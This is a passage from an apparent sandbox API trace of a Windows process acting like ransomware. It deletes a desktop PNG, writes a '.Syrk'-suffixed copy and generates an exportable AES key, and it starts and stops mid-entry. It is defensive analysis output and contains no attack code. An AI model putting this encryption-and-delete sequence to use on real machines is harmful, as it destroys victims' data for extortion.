"c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0190.303] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.303] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.304] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0190.304] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0190.305] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0190.305] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0190.305] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0190.305] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0190.305] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0190.305] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0190.305] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0190.305] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0190.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0190.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0190.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0190.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0190.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0190.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0190.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0190.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0190.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0190.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0190.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0190.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0190.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.310] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.311] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0190.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0190.311] CoTaskMemAlloc (cb=0x404) returned 0x5c79c98 [0190.311] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c79c98, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0190.311] CoTaskMemFree (pv=0x5c79c98) [0190.313] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 0x20 [0190.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0190.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png", lpFilePart=0x0) returned 0x3e [0190.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0190.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png"), fInfoLevelId=0x0, lpFileInformation=0x2510108 | out: lpFileInformation=0x2510108*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ba23c0, ftCreationTime.dwHighDateTime=0x1d992fd, ftLastAccessTime.dwLowDateTime=0x180584d0, ftLastAccessTime.dwHighDateTime=0x1d9976b, ftLastWriteTime.dwLowDateTime=0x180584d0, ftLastWriteTime.dwHighDateTime=0x1d9976b, nFileSizeHigh=0x0, nFileSizeLow=0x48e1)) returned 1 [0190.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0190.327] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png")) returned 1 [0190.401] EtwEventActivityIdControl () returned 0x0 [0190.402] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.403] EtwEventActivityIdControl () returned 0x0 [0190.403] EtwEventActivityIdControl () returned 0x0 [0190.403] EtwEventActivityIdControl () returned 0x0 [0190.411] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png.syrk")) returned 0x20 [0190.412] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png.syrk")) returned 0x20 [0190.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x44 [0190.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk", nBufferLength=0x44, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk", lpFilePart=0x0) returned 0x43 [0190.413] EtwEventActivityIdControl () returned 0x0 [0190.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.413] EtwEventActivityIdControl () returned 0x0 [0190.413] EtwEventActivityIdControl () returned 0x0 [0190.413] EtwEventActivityIdControl () returned 0x0 [0190.417] EtwEventActivityIdControl () returned 0x0 [0190.418] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.418] EtwEventActivityIdControl () returned 0x0 [0190.418] EtwEventActivityIdControl () returned 0x0 [0190.418] EtwEventActivityIdControl () returned 0x0 [0190.422] EtwEventActivityIdControl () returned 0x0 [0190.422] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.423] EtwEventActivityIdControl () returned 0x0 [0190.423] EtwEventActivityIdControl () returned 0x0 [0190.423] EtwEventActivityIdControl () returned 0x0 [0190.427] EtwEventActivityIdControl () returned 0x0 [0190.427] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.427] EtwEventActivityIdControl () returned 0x0 [0190.427] EtwEventActivityIdControl () returned 0x0 [0190.427] EtwEventActivityIdControl () returned 0x0 [0190.431] EtwEventActivityIdControl () returned 0x0 [0190.432] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.432] EtwEventActivityIdControl () returned 0x0 [0190.432] EtwEventActivityIdControl () returned 0x0 [0190.432] EtwEventActivityIdControl () returned 0x0 [0190.436] EtwEventActivityIdControl () returned 0x0 [0190.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0190.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\BtaCh0Rv1i6GNNdmI.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\btach0rv1i6gnndmi.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2305b90 | out: lpFileInformation=0x2305b90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee29fa60, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xee29fa60, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xee2c5bc0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x4904)) returned 1 [0190.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0190.534] GetConsoleOutputCP () returned 0x1b5 [0190.534] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.534] GetConsoleOutputCP () returned 0x1b5 [0190.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.535] GetConsoleOutputCP () returned 0x1b5 [0190.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.535] GetConsoleOutputCP () returned 0x1b5 [0190.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.535] GetConsoleOutputCP () returned 0x1b5 [0190.535] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.535] GetConsoleOutputCP () returned 0x1b5 [0190.536] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.536] GetConsoleOutputCP () returned 0x1b5 [0190.536] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.536] GetConsoleOutputCP () returned 0x1b5 [0190.536] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.536] GetConsoleOutputCP () returned 0x1b5 [0190.536] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.536] GetConsoleOutputCP () returned 0x1b5 [0190.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.537] GetConsoleOutputCP () returned 0x1b5 [0190.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.537] GetConsoleOutputCP () returned 0x1b5 [0190.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.537] GetConsoleOutputCP () returned 0x1b5 [0190.537] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0190.537] GetConsoleOutputCP () returned 0x1b5 [0190.538] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0190.538] GetConsoleOutputCP () returned 0x1b5 [0190.538] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.538] GetConsoleOutputCP () returned 0x1b5 [0190.538] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0190.538] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0190.539] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0190.619] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2311bd8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x2311bd8*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0190.620] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0190.621] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0190.621] EtwEventActivityIdControl () returned 0x0 [0190.621] EtwEventActivityIdControl () returned 0x0 [0190.622] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.623] EtwEventActivityIdControl () returned 0x0 [0190.623] EtwEventActivityIdControl () returned 0x0 [0190.623] EtwEventActivityIdControl () returned 0x0 [0190.625] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.626] EtwEventActivityIdControl () returned 0x0 [0190.626] EtwEventActivityIdControl () returned 0x0 [0190.626] EtwEventActivityIdControl () returned 0x0 [0190.629] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x373f80) returned 1 [0190.630] CryptGenKey (in: hProv=0x373f80, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c69200) returned 1 [0190.631] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0190.631] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0190.631] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2319ae8, pdwDataLen=0x5a2e79c | out: pbData=0x2319ae8*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0190.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0190.632] EtwEventActivityIdControl () returned 0x0 [0190.632] EtwEventActivityIdControl () returned 0x0 [0190.632] EtwEventActivityIdControl () returned 0x0 [0190.633] SysStringLen (param_1="") returned 0x8 [0190.633] SysStringLen (param_1="6") returned 0x8 [0190.633] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.634] SysStringLen (param_1="揼잂᱌頤溓姱ꐹꃁ") returned 0x8 [0190.634] SysStringLen (param_1="揼잂᱌頤溓姱ꐹꃁ") returned 0x8 [0190.634] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.634] SysStringLen (param_1="6n") returned 0x8 [0190.634] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.634] SysStringLen (param_1="㘑撋﫜ⱖ踫⛒듢Ꮽ") returned 0x8 [0190.634] SysStringLen (param_1="㘑撋﫜ⱖ踫⛒듢Ꮽ") returned 0x8 [0190.634] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.634] SysStringLen (param_1="6nz") returned 0x8 [0190.634] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.634] SysStringLen (param_1="➣䝀䐰㗑鮕⮔尢") returned 0x8 [0190.634] SysStringLen (param_1="➣䝀䐰㗑鮕⮔尢") returned 0x8 [0190.634] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.635] SysStringLen (param_1="6nzZ") returned 0x8 [0190.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.635] SysStringLen (param_1="䗐⁇鐻ꑶ뒍\꟞섆∤) returned 0x8 [0190.635] SysStringLen (param_1="䗐⁇鐻ꑶ뒍\꟞섆∤) returned 0x8 [0190.635] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.635] SysStringLen (param_1="6nzZv") returned 0x8 [0190.635] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.635] SysStringLen (param_1="⾉哳Ὦ攫ᄲ漒⚸") returned 0x8 [0190.635] SysStringLen (param_1="⾉哳Ὦ攫ᄲ漒⚸") returned 0x8 [0190.635] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.635] SysStringLen (param_1="6nzZvA") returned 0x8 [0190.636] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.636] SysStringLen (param_1="逼诪뉾﬋芤泀") returned 0x8 [0190.636] SysStringLen (param_1="逼诪뉾﬋芤泀") returned 0x8 [0190.636] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.636] SysStringLen (param_1="6nzZvAy") returned 0x8 [0190.636] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.636] SysStringLen (param_1="岱篭쯜碛䶕쥉顺쒸") returned 0x8 [0190.636] SysStringLen (param_1="岱篭쯜碛䶕쥉顺쒸") returned 0x8 [0190.636] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.636] SysStringLen (param_1="6nzZvAyh") returned 0x8 [0190.637] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0190.637] SysStringLen (param_1="텆쮅琷焱鸓໤헁") returned 0x8 [0190.637] SysStringLen (param_1="텆쮅琷焱鸓໤헁") returned 0x8 [0190.637] SysStringLen (param_1="텆쮅琷焱鸓໤헁") returned 0x8 [0190.637] SysStringLen (param_1="텆쮅琷焱鸓໤헁") returned 0x10 [0190.637] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.637] SysStringLen (param_1="6nzZvAyhn͞坎﫞⡬綗᣺") returned 0x10 [0190.637] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.638] SysStringLen (param_1="텆쮅琷焱鸓໤헁썙︴夤ⵍ誑⚼삀撀") returned 0x10 [0190.638] SysStringLen (param_1="텆쮅琷焱鸓໤헁썙︴夤ⵍ誑⚼삀撀") returned 0x10 [0190.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.638] SysStringLen (param_1="6nzZvAyhnS͞坎﫞⡬綗᣺") returned 0x10 [0190.638] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.638] SysStringLen (param_1="텆쮅琷焱鸓໤헁鮡롗겊ꫡ㺧눃曊т") returned 0x10 [0190.638] SysStringLen (param_1="텆쮅琷焱鸓໤헁鮡롗겊ꫡ㺧눃曊т") returned 0x10 [0190.638] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.638] SysStringLen (param_1="6nzZvAyhnSn坎﫞⡬綗᣺") returned 0x10 [0190.638] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.638] SysStringLen (param_1="텆쮅琷焱鸓໤헁䛽᤾檣曅∉县蝒ꊹ") returned 0x10 [0190.638] SysStringLen (param_1="텆쮅琷焱鸓໤헁䛽᤾檣曅∉县蝒ꊹ") returned 0x10 [0190.639] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.639] SysStringLen (param_1="6nzZvAyhnSn5﫞⡬綗᣺") returned 0x10 [0190.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.639] SysStringLen (param_1="텆쮅琷焱鸓໤헁넦颥ꮹྍᛸ㋴홬") returned 0x10 [0190.639] SysStringLen (param_1="텆쮅琷焱鸓໤헁넦颥ꮹྍᛸ㋴홬") returned 0x10 [0190.639] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.639] SysStringLen (param_1="6nzZvAyhnSn5b⡬綗᣺") returned 0x10 [0190.639] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.639] SysStringLen (param_1="텆쮅琷焱鸓໤헁喤㣊썿帚耰趐蹄") returned 0x10 [0190.639] SysStringLen (param_1="텆쮅琷焱鸓໤헁喤㣊썿帚耰趐蹄") returned 0x10 [0190.639] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.640] SysStringLen (param_1="6nzZvAyhnSn5bA綗᣺") returned 0x10 [0190.640] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0190.640] SysStringLen 